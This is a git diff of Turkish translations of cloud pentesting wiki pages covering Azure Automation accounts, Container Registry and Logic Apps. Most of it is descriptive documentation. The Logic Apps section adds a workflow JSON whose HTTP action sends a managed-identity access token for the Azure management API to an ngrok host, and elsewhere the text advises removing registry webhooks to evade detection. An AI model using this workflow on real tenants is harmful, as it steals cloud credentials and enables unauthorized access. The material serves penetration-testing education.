seçerseniz, **Sistem** olarak bir dış makinede **rastgele komutlar** çalıştıracaksınız (güzel bir pivot tekniği). -Ayrıca, hibrit işçi Azure'da diğer Yönetilen Kimliklerle birlikte çalışıyorsa, runbook, **runbook'un yönetilen kimliğine ve VM'nin metadata hizmetinden tüm yönetilen kimliklerine erişim sağlayacaktır**. +Ayrıca, hibrit işçi Azure'da diğer Yönetilen Kimliklerle çalışıyorsa, runbook, **runbook'un yönetilen kimliğine ve VM'nin metadata hizmetinden tüm yönetilen kimliklerine** erişebilecektir. > [!TIP] -> **Metadata hizmetinin**, otomasyon hesabının yönetilen kimlik token'ını aldığı hizmetten (**`IDENTITY_ENDPOINT`**) farklı bir URL'si olduğunu unutmayın (**`http://169.254.169.254`**). +> **Metadata hizmetinin**, otomasyon hesabının yönetilen kimlikleri token'ını almak için kullanılan hizmetten (**`IDENTITY_ENDPOINT`**) farklı bir URL'si olduğunu unutmayın (**`http://169.254.169.254`**). ### Durum Yapılandırması (SC) > [!WARNING] > [Belgelerde](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) belirtildiği gibi, Azure Automation Durum Yapılandırması 30 Eylül 2027'de emekliye ayrılacak ve [Azure Makine Yapılandırması](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview) ile değiştirilecektir. -Otomasyon Hesapları ayrıca **Durum Yapılandırmasını (SC)** destekler; bu, **VM'lerinizin durumunu** **yapılandırmaya** ve **korumaya** yardımcı olan bir özelliktir. **Windows** ve **Linux** makinelerine DSC yapılandırmaları **oluşturmak** ve **uygulamak** mümkündür. +Otomasyon Hesapları ayrıca **Durum Yapılandırması (SC)**'yı destekler; bu, **VM'lerinizin durumunu** **yapılandırmaya** ve **korumaya** yardımcı olan bir özelliktir. **Windows** ve **Linux** makinelerine DSC yapılandırmaları **oluşturmak** ve **uygulamak** mümkündür. -Saldırganlar açısından bu, **tüm yapılandırılmış VM'lerde rastgele PS kodu çalıştırma** imkanı sunduğu için ilginçti ve bu, bu VM'lerin yönetilen kimliklerine ayrıcalıkları yükseltme imkanı sağladı, potansiyel olarak yeni ağlara geçiş yapma... Ayrıca, yapılandırmalar **hassas bilgiler** içerebilir. +Saldırganlar açısından bu, **tüm yapılandırılmış VM'lerde rastgele PS kodu çalıştırma** olanağı sağladığı için ilginçti; bu da bu VM'lerin yönetilen kimliklerine ayrıcalıkları yükseltme olanağı sunuyordu, potansiyel olarak yeni ağlara geçiş yapma... Ayrıca, yapılandırmalar **hassas bilgiler** içerebilir. ## Sayım ```bash @@ -232,6 +232,12 @@ Get-AzAutomationHybridWorkerGroup -AutomationAccountName -R ../az-privilege-escalation/az-automation-accounts-privesc.md {{#endref}} +## Süreklilik + +{{#ref}} +../az-persistence/az-automation-accounts-persistence.md +{{#endref}} + ## Referanslar - [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview) diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md index 747167e11..2c0f289e3 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -8,7 +8,7 @@ Azure Container Registry (ACR), **Azure bulutunda konteyner görüntülerini dep ### İzinler -Container Registry üzerinde verilebilecek **farklı izinler** [belgelere göre](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) şunlardır: +Container Registry üzerinde verilebilecek **farklı izinler** [belgelere göre](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager): - Erişim Kaynak Yöneticisi - Kayıt oluşturma/silme @@ -25,16 +25,16 @@ Ayrıca atanabilecek bazı **yerleşik roller** vardır ve **özel roller** olu ### Kimlik Doğrulama > [!WARNING] -> Kayıt adında büyük harfler bulunsa bile, her zaman **küçük harfler** kullanarak giriş yapmanız, görüntü yüklemeniz ve indirmeniz çok önemlidir. +> Kayıt adı büyük harfler içeriyorsa bile, her zaman **küçük harfler** kullanarak giriş yapmanız, görüntü yüklemeniz ve indirmeniz çok önemlidir. ACR'ye kimlik doğrulamak için 4 yol vardır: - **Entra ID ile**: Bu, ACR'ye kimlik doğrulamak için **varsayılan** yoldur. ACR'ye kimlik doğrulamak için **`az acr login`** komutunu kullanır. Bu komut, **`~/.docker/config.json`** dosyasında **kimlik bilgilerini saklar**. Ayrıca, bu komutu bir **bulut kabuğu** gibi bir docker soketine erişimi olmayan bir ortamda çalıştırıyorsanız, ACR'ye kimlik doğrulamak için **`--expose-token`** bayrağını kullanarak **token** almanız mümkündür. Ardından kimlik doğrulamak için kullanıcı adı olarak `00000000-0000-0000-0000-000000000000` kullanmalısınız: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` -- **Bir yönetici hesabı ile**: Yönetici kullanıcısı varsayılan olarak devre dışıdır, ancak etkinleştirilebilir ve ardından kayıt defterine tam izinlerle yönetici hesabının **kullanıcı adı** ve **şifresi** ile erişim sağlanabilir. Bazı Azure hizmetleri bunu kullandığı için bu hala desteklenmektedir. Bu kullanıcı için **2 şifre** oluşturulur ve her ikisi de geçerlidir. Bunu `az acr update -n --admin-enabled true` ile etkinleştirebilirsiniz. Kullanıcı adının genellikle kayıt adı olduğunu unutmayın (ve `admin` değildir). -- **Bir token ile**: Kayıt defterine erişmek için **belirli bir `scope map`** (izinler) ile bir **token** oluşturmak mümkündür. Ardından, bu token adını kullanıcı adı olarak ve oluşturulan şifrelerden birini kullanarak kayıt defterine kimlik doğrulamak için `docker login -u -p aregistry-url>` komutunu kullanabilirsiniz. -- **Bir Hizmet Prensibi ile**: Bir **hizmet prensibi** oluşturmak ve görüntüleri çekmek için **`AcrPull`** gibi bir rol atamak mümkündür. Ardından, SP appId'sini kullanıcı adı olarak ve oluşturulan bir sırrı şifre olarak kullanarak **kayıt defterine giriş yapmak** mümkün olacaktır. +- **Bir yönetici hesabı ile**: Yönetici kullanıcı varsayılan olarak devre dışıdır, ancak etkinleştirilebilir ve ardından kayıt defterine tam izinlerle yönetici hesabının **kullanıcı adı** ve **şifresi** ile erişim sağlanabilir. Bazı Azure hizmetleri bunu kullandığı için bu hala desteklenmektedir. Bu kullanıcı için **2 şifre** oluşturulur ve her ikisi de geçerlidir. Bunu `az acr update -n --admin-enabled true` ile etkinleştirebilirsiniz. Kullanıcı adının genellikle kayıt adı olduğunu unutmayın (ve `admin` değildir). +- **Bir token ile**: Kayıt defterine erişmek için **belirli bir `scope map`** (izinler) ile bir **token** oluşturmak mümkündür. Ardından, token adını kullanıcı adı olarak ve oluşturulan şifrelerden birini kullanarak kayıt defterine kimlik doğrulamak için `docker login -u -p ` komutunu kullanabilirsiniz. +- **Bir Hizmet Prensibi ile**: Bir **hizmet prensibi** oluşturmak ve görüntüleri indirmek için **`AcrPull`** gibi bir rol atamak mümkündür. Ardından, SP appId'sini kullanıcı adı olarak ve oluşturulan bir sırrı şifre olarak kullanarak **kayıt defterine giriş yapmak** mümkün olacaktır. -Kayıt defterine erişim sağlayan bir SP oluşturmak için [belgelerden](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) örnek bir komut dosyası: +Kayıt defterine erişim sağlayan bir SP oluşturmak için [belgelerden](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) örnek bir betik: ```bash #!/bin/bash ACR_NAME=$containerRegistry @@ -51,11 +51,11 @@ echo "Service principal password: $PASSWORD" ``` ### Şifreleme -Sadece **Premium SKU**, görüntüler ve diğer varlıklar için **dinlenme sırasında şifreleme** desteği sunar. +Sadece **Premium SKU** görüntüler ve diğer nesneler için **veri dinleniminde şifreleme** desteği sunar. ### Ağ -Sadece **Premium SKU**, **özel uç noktalar** destekler. Diğerleri sadece **genel erişim** destekler. Genel bir uç nokta `.azurecr.io` formatındadır ve özel bir uç nokta `.privatelink.azurecr.io` formatındadır. Bu nedenle, kayıt defterinin adı tüm Azure üzerinde benzersiz olmalıdır. +Sadece **Premium SKU** **özel uç noktalar** destekler. Diğerleri sadece **genel erişim** destekler. Genel bir uç nokta `.azurecr.io` formatındadır ve özel bir uç nokta `.privatelink.azurecr.io` formatındadır. Bu nedenle, kayıt defterinin adı tüm Azure genelinde benzersiz olmalıdır. ### Microsoft Defender for Cloud @@ -69,11 +69,11 @@ Bu, kayıt defterindeki **görüntüleri** **zafiyetler** için **taramanıza** Kayıt defterleri içinde **webhook'lar** oluşturmak mümkündür. Bu webhook'ta, bir **push veya silme işlemi gerçekleştirildiğinde bir isteğin gönderileceği URL'yi** belirtmek gerekir. Ayrıca, Webhook'lar etkilenecek depoları (görüntüleri) belirtmek için bir kapsam gösterebilir. Örneğin, 'foo:\*' 'foo' deposu altındaki olayları ifade eder. -Saldırganlar açısından, kayıt defterinde herhangi bir işlem gerçekleştirmeden önce bunu kontrol etmek ve gerekirse geçici olarak kaldırmak ilginçtir, böylece tespit edilmekten kaçınılır. +Saldırganlar açısından, kayıt defterinde herhangi bir işlem gerçekleştirmeden önce bunu kontrol etmek ve gerekirse geçici olarak kaldırmak ilginçtir, böylece tespit edilmekten kaçınılabilir. ### Bağlı kayıt defterleri -Bu, temelde bir kayıt defterinden diğerine, genellikle yerel olarak bulunan bir kayıt defterine **görüntüleri yansıtmanıza** olanak tanır. +Bu, bir kayıt defterinden diğerine, genellikle yerel olarak bulunan bir kayıt defterine **görüntüleri yansıtmanıza** olanak tanır. 2 modu vardır: **Sadece Okuma** ve **Okuma-Yazma**. İlkinde, görüntüler yalnızca kaynak kayıt defterinden **çekilir**, ikincisinde ise görüntüler kaynak kayıt defterine de **itilebilir**. @@ -100,12 +100,12 @@ Ancak, **görevler** bir **sistem ve kullanıcı yönetilen kimliği** ile iliş Önbellek özelliği, **harici bir depodan görüntüleri indirmeye** ve yeni sürümleri kayıt defterinde saklamaya olanak tanır. Bunun için, Azure Vault'tan kimlik bilgilerini seçerek bazı **kimlik bilgileri yapılandırılmış** olmalıdır. -Bu, saldırganlar açısından çok ilginçtir çünkü yeterli izinlere sahip bir saldırgan, kimlik bilgilerine erişim sağlarsa, **harici bir platforma geçiş yapabilir**, **harici bir depodan görüntüleri indirebilir** ve bir önbellek yapılandırmak **kalıcılık mekanizması** olarak da kullanılabilir. +Bu, saldırganlar açısından çok ilginçtir çünkü yeterli izinlere sahiplerse **harici bir platforma geçiş yapmalarına** olanak tanır, **harici bir depodan görüntüleri indirmek** ve bir önbellek yapılandırmak da **kalıcılık mekanizması** olarak kullanılabilir. ## Sayım > [!WARNING] -> Kayıt defteri adı bazı büyük harfler içerse bile, ona erişmek için URL'de yalnızca küçük harfler kullanmanız çok önemlidir. +> Kayıt defteri adı bazı büyük harfler içerse bile, ona erişmek için url'de yalnızca küçük harfler kullanmanız çok önemlidir. ```bash # List of all the registries # Check the network, managed identities, adminUserEnabled, softDeletePolicy, url... @@ -143,10 +143,16 @@ az acr cache list --registry # Get cache details az acr cache show --name --registry ``` +## Kimlik Doğrulaması Olmadan Erişim + +{{#ref}} +../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md +{{#endref}} + ## Yetki Yükseltme & Sonrası İstismar {{#ref}} -../az-privilege-escalation/az-automation-accounts-privesc.md +../az-privilege-escalation/az-container-registry-privesc.md {{#endref}} ## Referanslar diff --git a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md index a30c73167..3cab062b2 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md @@ -4,101 +4,177 @@ ## Temel Bilgiler -Azure Logic Apps, Microsoft Azure tarafından sağlanan bulut tabanlı bir hizmettir ve geliştiricilerin **çeşitli hizmetleri, veri kaynaklarını ve uygulamaları entegre eden iş akışları oluşturup çalıştırmalarını** sağlar. Bu iş akışları, **iş süreçlerini otomatikleştirmek**, görevleri düzenlemek ve farklı platformlar arasında veri entegrasyonları gerçekleştirmek için tasarlanmıştır. +Azure Logic Apps, geliştiricilerin **çeşitli hizmetleri**, veri kaynaklarını ve uygulamaları entegre eden iş akışları **oluşturmasına ve çalıştırmasına** olanak tanır. Bu iş akışları, **iş süreçlerini otomatikleştirmek**, görevleri düzenlemek ve farklı platformlar arasında veri entegrasyonları gerçekleştirmek için tasarlanmıştır. -Logic Apps, **önceden oluşturulmuş geniş bir bağlantı yelpazesi** ile iş akışları oluşturmak için görsel bir tasarımcı sunar; bu da Office 365, Dynamics CRM, Salesforce ve daha birçok hizmetle kolayca bağlantı kurmayı ve etkileşimde bulunmayı sağlar. Ayrıca, özel ihtiyaçlarınız için özel bağlantılar da oluşturabilirsiniz. +Logic Apps, çeşitli hizmetlerle bağlantı kurmayı ve etkileşimde bulunmayı kolaylaştıran **önceden oluşturulmuş geniş bir bağlantı yelpazesi** ile iş akışları oluşturmak için bir **görsel tasarımcı** sağlar: -Bir Logic App oluştururken, iş akışı durumunu, çalışma geçmişini ve belgeleri depolayan bir dış depolama hesabı oluşturmanız veya bağlamanız gerekir. Bu depolama, izleme için tanılama ayarları ile yapılandırılabilir ve ağ erişim kısıtlamaları ile güvence altına alınabilir veya gelen ve giden trafiği kontrol etmek için sanal bir ağa entegre edilebilir. +
https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png
-### Örnekler - -- **Veri Boru Hatlarını Otomatikleştirme**: Logic Apps, Azure Data Factory ile birlikte **veri transferi ve dönüşüm süreçlerini** otomatikleştirebilir. Bu, Azure SQL Database ve Azure Blob Storage gibi çeşitli veri depoları arasında veri taşıyan ve dönüştüren ölçeklenebilir ve güvenilir veri boru hatları oluşturmak için faydalıdır; bu da analitik ve iş zekası operasyonlarına yardımcı olur. -- **Azure Functions ile Entegrasyon**: Logic Apps, gerektiğinde ölçeklenen ve diğer Azure hizmetleriyle sorunsuz bir şekilde entegre olan **karmaşık, olay odaklı uygulamalar geliştirmek için Azure Functions ile birlikte çalışabilir**. Bir örnek kullanım durumu, belirli olaylara yanıt olarak bir Azure Function'ı tetiklemek için bir Logic App kullanmaktır; örneğin, bir Azure Storage hesabındaki değişiklikler gibi, dinamik veri işleme sağlar. - -### LogicAPP'i Görselleştirme - -Bir LogicApp'i grafiklerle görüntülemek mümkündür: - -
- -veya "**Logic app kod görünümü**" bölümünde kodu kontrol edebilirsiniz. - -### SSRF Koruması - -**Logic App'in SSRF'ye karşı savunmasız olduğunu bulsanız bile**, Logic Apps bunu izin vermediği için metadata'dan kimlik bilgilerine erişemezsiniz. - -Örneğin, bu gibi bir şey token'ı döndürmeyecektir: -```bash -# The URL belongs to a Logic App vulenrable to SSRF -curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v -``` -### Hosting options +### Barındırma Seçenekleri Birçok barındırma seçeneği vardır: -* **Consumption** -- **Multi-tenant**: paylaşılan hesaplama kaynakları sağlar, kamu bulutunda çalışır ve işlem başına ödeme fiyatlandırma modelini takip eder. Bu, hafif ve maliyet etkin iş yükleri için idealdir. Bu, "Tek İş Akışı" dağıtır. -* **Standard** -- **Workflow Service Plan**: ağ için VNET entegrasyonu ile özel hesaplama kaynakları ve her iş akışı hizmet planı örneği için ücret alır. Daha fazla kontrol gerektiren daha talepkar iş yükleri için uygundur. -- **App Service Environment V3** tam izolasyon ve ölçeklenebilirlik ile özel hesaplama kaynakları. Ayrıca, ağ için VNET ile entegre olur ve ortam içindeki App Service örneklerine dayalı bir fiyatlandırma modeli kullanır. -- **Hybrid** yerel işleme ve çoklu bulut desteği için tasarlanmıştır. Müşteri yönetimindeki hesaplama kaynaklarına yerel ağ erişimi ile izin verir ve Kubernetes Olay Tabanlı Otomatik Ölçekleme (KEDA) kullanır. Bir Container App Connected Environment'e dayanır. +* **Tüketim** +- **Çok kiracılı**: Bu, paylaşılan hesaplama kaynakları sağlar, kamu bulutunda çalışır ve işlem başına ödeme fiyatlandırma modelini takip eder. Bu, hafif ve maliyet etkin iş yükleri için idealdir. Buna "Tek İş Akışı" diyeceğiz. +* **Standart** +- **İş Akışı Hizmet Planı**: Bu, ağ için VNET entegrasyonu ile birlikte özel hesaplama kaynakları sağlar ve her iş akışı hizmet planı örneği için ücret alır. Daha fazla kontrol gerektiren daha talepkar iş yükleri için uygundur. +- **Uygulama Hizmeti Ortamı V3:** Bu, tam izolasyon ve ölçeklenebilirlik ile birlikte özel hesaplama kaynakları sağlar. Ayrıca ağ için VNET ile entegre olur ve ortam içindeki Uygulama Hizmeti örneklerine dayalı bir fiyatlandırma modeli kullanır. +- **Hibrit:** Bu, yerel işleme ve çoklu bulut desteği için tasarlanmıştır. Yerel ağ erişimi ile müşteri yönetimindeki hesaplama kaynaklarına izin verir ve Kubernetes Olay Tabanlı Otomatik Ölçekleme (KEDA) kullanır. Bir Konteyner Uygulama Bağlı Ortamına dayanır. -### Key Features -- **Storage**: Logic Apps, iş akışı durumunu, çalışma geçmişini... depolamak için harici bir Azure Storage hesabına ihtiyaç duyar ve Logic App ile aynı kaynak grubunda olmalıdır. -- **Networking & Security**: Logic Apps, kamu veya özel erişim ile yapılandırılabilir. Varsayılan olarak, uygulama internete açıktır ancak izole bağlantı için bir Azure Sanal Ağı ile entegre edilebilir. -- **Application Insights**: Performansı izlemek, anormallikleri tespit etmek ve analiz sağlamak için Azure Monitor Application Insights aracılığıyla Uygulama Performans Yönetimi (APM) etkinleştirilebilir. -- **Access Control**: Logic apps, Sistem Yönetimli Kimlikler ve Kullanıcı Yönetimli Kimlikleri destekler. +## "Tek" İş Akışları / Tüketim Planı -### "Single" Workflows +Bir **iş akışı**, belirli bir süreci veya hedefi gerçekleştiren otomatik adımların veya görevlerin yapılandırılmış bir dizisidir. Farklı eylemlerin, koşulların ve kararların nasıl etkileşime girdiğini tanımlar, istenen bir sonuca ulaşmayı sağlar, operasyonları kolaylaştırır ve manuel çabayı azaltır. -Bir **workflow**, belirli bir süreci veya hedefi gerçekleştiren otomatik adımlar veya görevlerin yapılandırılmış bir dizisidir. Farklı eylemlerin, koşulların ve kararların nasıl etkileşime girdiğini tanımlar, istenen bir sonuca ulaşmayı sağlar, operasyonları kolaylaştırır ve manuel çabayı azaltır. İş akışları, birden fazla sistemi entegre edebilir, olayları ve kuralları tetikleyebilir, süreçlerde tutarlılık ve verimlilik sağlar. +> [!TIP] +> Tüketim planı, **bir Logic App'in kendisine ihtiyaç duymadan tek bir iş akışı oluşturmayı** sağlar. -Azure Logic apps, **bir Logic App**'in kendisine ihtiyaç duymadan **tek bir iş akışı oluşturma** işlevselliği sunar. +### Tetikleyiciler ve Eylemler -Her iş akışının farklı **tetikleyicileri** vardır. Bu tetikleyiciler, iş akışının takip ettiği adımlardır. Her tetikleyicinin, tetikleyici türüne bağlı olarak değişebilen parametreleri vardır: -- Bağlantı adı -- **Authentication Type**: Erişim Anahtarı, Microsoft Entra ID, Entegre Hizmet Prensibi kimlik doğrulaması ve Logic Apps Yönetilen Kimliği olabilir. +İş akışı tetikleyicileri, **iş akışının ne zaman başlaması gerektiğini** belirtir. Tetikleyiciler, bir HTTP uç noktası, bir program veya Azure'dan veya hatta harici uygulamalardan gelen onlarca farklı olay olabilir. -Tetikleyicilerin ayrıca çeşitli ayarları vardır: -- Şema Doğrulama: Gelen verilerin önceden tanımlanmış bir yapıyı takip etmesini sağlar. -- Eşzamanlılık Kontrolü: Paralel çalıştırma sayısını sınırlar. -- Tetikleyici Koşulları: Tetikleyicinin ateşlenmeden önce karşılanması gereken koşullar. -- Ağ: Veri transferi için parça boyutunu yapılandırır ve yanıtlardaki iş akışı başlıklarını bastırmayı sağlar. -- **Security**: Hassas verileri günlüklerde ve çıktılarda gizlemek için **Güvenli Girişler/Çıkışlar**'ı etkinleştirir. +Her iş akışının farklı **eylemleri** vardır. Bu eylemler, iş akışının takip ettiği adımlardır. Eyleme bağlı olarak, yapılandırmak için farklı parametreler mevcut olacaktır, örneğin: -**Settings & API Connections:** +- **Bağlantı adı**: Eylemin etkileşimde bulunacağı bağlantı. +- **Kimlik Doğrulama Türü:** Farklı seçenekler Erişim Anahtarı, Microsoft Entra ID, Entegre Hizmet Prensibi kimlik doğrulaması ve Logic Apps Yönetilen Kimliği'dir. +- Salt Okuma perspektifinden, **Kimlik Doğrulama** verileri her zaman ilginçtir çünkü hassas bilgiler içerebilir. +- Yazma perspektifinden, **Kimlik Doğrulama** verileri her zaman ilginçtir çünkü atanan yönetilen kimliklerin izinlerini kullanmaya olanak tanıyabilir. +- ... -Bir iş akışının farklı ayarları vardır: -- İzin verilen gelen IP adresleri: Bu ayar, Logic App'inizi kimin tetikleyebileceğini veya başlatabileceğini kısıtlamanızı sağlar. Seçenekler: Herhangi bir IP, Sadece diğer Logic Apps ve Belirli IP aralıklarıdır. -- Entegrasyon hesabı: Burada, Logic App'inizi bir Entegrasyon Hesabına bağlayabilirsiniz. -- Yüksek verim: Bu ayar, Logic App'inizin daha fazla isteği hızlı bir şekilde işlemesini sağlar. -- Çalışma geçmişi saklama süresi: Logic App'inizin yürütmelerinin geçmişinin ne kadar süreyle saklanacağını belirler. +Eylemler ayrıca, eylemin kendisine bağlı olarak çeşitli **ayarlar** içerir. En yaygın ayarlardan bazıları şunlardır: -İş akışının sahip olduğu farklı API bağlantılarını görebilirsiniz. Bu bağlantıların her birinin farklı özellikleri vardır ve kimlik doğrulama türünün değiştirilebileceği API bağlantısını düzenleme olanağı vardır. +- **Yeniden Deneme Politikası**: Yeniden deneme sayısını ve bunlar arasındaki aralığı yapılandırır. +- **Zaman Aşımı**: Eylemin zaman aşımına uğramadan önce çalışabileceği maksimum süreyi ayarlar. +- **Sonra Çalıştır**: Eylemin çalışmadan önce karşılanması gereken koşulları belirtir. +- **Şema Doğrulama**: Gelen verilerin önceden tanımlanmış bir yapıyı takip etmesini sağlar. +- **Ağ Yönetimi**: Farklı başlıkları nasıl yöneteceğini yapılandırır. +- **Güvenli Giriş/Çıkışlar**: Bu, giriş/çıkış verilerini çalışma geçmişinden gizler. +- ... -**History & Versions:** -Farklı yürütmelerin **geçmişine** erişim seçeneği vardır, Ayarları, Çıktıyı, Parametreleri ve Kodu gösterir. +### Yetkilendirme Politikaları -Ayrıca, iş akışının farklı **sürümlerine** erişim seçeneği vardır; burada kodu kontrol edebilir ve mevcut iş akışını daha eski bir sürümü ile değiştirebilirsiniz. - -**Authorization:** -Azure Logic Apps, geçerli bir erişim belirteci gerektirerek istek tabanlı tetikleyicileri güvence altına almak için Entra ID ile **yetkilendirme politikalarını** destekler. Bu belirteç, belirli talepleri içermelidir: -- Kimlik Sağlayıcıyı doğrulamak için Verici (iss) +Bu iş akışları, geçerli bir erişim belirteci gerektirerek istek tabanlı tetikleyicileri güvence altına almak için Entra ID ile **yetkilendirme politikalarını** destekler. Bu belirteç, belirli talepleri içermelidir: +- Kimlik Sağlayıcısını doğrulamak için Verici (iss) - Belirtecin Logic App için tasarlandığını sağlamak için Hedef (aud) -- Çağrıyı tanımlamak için Konu (sub) +- Arayanı tanımlamak için Konu (sub) - JWT ID (JSON Web Token tanımlayıcısı) - Özel Talep -Bir istek alındığında, Logic Apps bu taleplere karşı belirteci doğrular ve yalnızca yapılandırılmış politika ile eşleşiyorsa yürütmeye izin verir. Bu, başka bir kiracının iş akışını tetiklemesine izin vermek veya diğer kaynaklardan tetiklemeyi reddetmek için kullanılabilir; örneğin, tetikleyicinin yalnızca https://login.microsoftonline.com/ adresinden gelmesi durumunda izin vermek. +Bir istek alındığında, Logic Apps bu taleplere karşı belirteci doğrular ve yalnızca yapılandırılmış politika ile eşleşiyorsa yürütmeye izin verir. Bu, başka bir kiracının iş akışını tetiklemesine izin vermek veya diğer kaynaklardan tetiklemeyi reddetmek için kullanılabilir; örneğin, yalnızca https://login.microsoftonline.com/ adresinden gelen tetiklemeye izin vermek. -**Access Keys:** -İlk kez istek tabanlı bir tetikleyici kaydettiğinizde, Logic Apps otomatik olarak iş akışını çağırma izni veren bir SAS imzası ile benzersiz bir uç nokta oluşturur (Erişim Anahtarından oluşturulur). Bu SAS imzası, tetikleyicinin URL'sine gömülüdür. Bu anahtar yeniden oluşturulabilir ve yeni bir SAS imzası verecektir, ancak anahtarlar listelenemez. +### Erişim Anahtarları -Erişim Anahtarı ile çağırmak için URL: +İş akışları oluşturulduğunda **2 erişim anahtarı** üretir. Bu anahtarlar, iş akışına yapılan istekleri kimlik doğrulamak ve yetkilendirmek için kullanılır. Anahtarlar, isteğin URL'sinde yer alan Paylaşılan Erişim İmzası (SAS) belirteci oluşturmak için kullanılır. +Bu nedenle, bir HTTP uç noktası tetikleyicisi oluşturulduğunda, iş akışını çağırma izni veren **SAS imzasına sahip benzersiz bir HTTP uç noktası** oluşturulur. + +Bu **anahtarlar yeniden oluşturulabilir** ve bu tetikleyiciler için yeni bir SAS URL'si oluşturulacaktır, ancak **anahtar değerlerine erişilemez**. + +Bir tetikleyiciyi çağırmak için bir SAS URL'si örneği: +``` https://.logic.azure.com:443/workflows//triggers//paths/invoke?api-version=&sp=%2Ftriggers%2F%2Frun&sv=&sig= +``` +### Workflow Ayarları ve Bileşenleri -### Enumeration +- **Tetikleyici erişim seçeneği**: Bu ayar, iş akışınızı kimin tetikleyebileceğini veya başlatabileceğini kısıtlamanıza olanak tanır. Seçenekler: Herhangi bir IP, Sadece diğer iş akışları ve Belirli IP aralıkları. +- **Entegrasyon hesabı**: İş akışınızı bir Entegrasyon Hesabına bağlayın. +- **Yüksek verim**: Açık olduğunda, daha fazla isteği paralel olarak hızlı bir şekilde işleyebilmenizi sağlar. +- **Çalıştırma geçmişi saklama süresi**: Bu, çalıştırma geçmişini saklamak için kaç gün tutulacağını belirtir. +- **API bağlantıları**: Bu, iş akışının sahip olduğu farklı API bağlantılarını gösterir. Bu bağlantıların her birinin farklı özellikleri vardır ve Kimlik Doğrulama türünün değiştirilebileceği API bağlantısını düzenleme olanağı vardır. +- **Geçmiş**: Eski yürütmelerin **geçmişine** erişim sağlama ve verileri alma seçeneği vardır: Ayarlar, Çıktı, Parametreler ve Kod. +- **Sürümler**: İş akışının farklı **sürümlerine** erişim sağlama seçeneği vardır; burada kodu kontrol edebilir ve mevcut iş akışını daha eski bir sürümüyle değiştirebilirsiniz. +- **Yönetilen Kimlikler**: İş akışına 1 sistem yönetilen kimlik ve sunucu kullanıcı yönetilen kimliği atamak mümkündür. + +### Yönetilen Kimlik Erişim Jetonlarını Sızdırma + +Bir iş akışındaki HTTP eylemi, verileri harici bir web'e göndermek için kullanılabilir. HTTP eyleminin **Gelişmiş parametreleri** içinde, **Kimlik Doğrulama Türü** olarak **`Yönetilen kimlik`** yapılandırmak ve ardından kullanılacak **atanmış Yönetilen Kimliği** seçmek mümkündür (sistem veya kullanıcı). + +Ayrıca, oluşturulan JWT'nin hedef kitlesini **`Audience`** içinde belirtmek mümkündür; bu, örneğin **`https://management.azure.com/`** olabilir, böylece oluşturulan jetonu Azure yönetim API'sine erişmek için kullanabilirsiniz. + +> [!WARNING] +> Eylemin HTTP isteğini bir saldırgan tarafından kontrol edilen bir sunucuya göndermesini sağlamak, iş akışına atanan **yönetilen kimliğin erişim jetonunu sızdırmak** mümkündür. + +> [!TIP] +> Bir saldırgan ayrıca **doğrudan diğer Azure hizmetlerine erişmek** ve yönetilen kimliğin izinleriyle eylemler gerçekleştirmek için diğer türde eylemleri de kullanabilir. + +Bu, bir HTTP uç noktası açığa çıkaran ve ardından yapılandırılan URL'ye (bu durumda ngrok) erişim jetonunu sızdırmak için bir HTTP eylemi kullanan bir iş akışının kodudur: + +
+İş akışı kodu +```json +{ +"definition": { +"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", +"contentVersion": "1.0.0.0", +"triggers": { +"When_a_HTTP_request_is_received": { +"type": "Request", +"kind": "Http" +} +}, +"actions": { +"HTTP": { +"runAfter": {}, +"type": "Http", +"inputs": { +"uri": "https://22b6-81-33-70-107.ngrok-free.app", +"method": "GET", +"authentication": { +"type": "ManagedServiceIdentity", +"audience": "https://management.azure.com/" +} +}, +"runtimeConfiguration": { +"contentTransfer": { +"transferMode": "Chunked" +} +} +} +}, +"outputs": {}, +"parameters": { +"$connections": { +"type": "Object", +"defaultValue": {} +} +} +}, +"parameters": { +"$connections": { +"type": "Object", +"value": {} +} +} +} +``` +
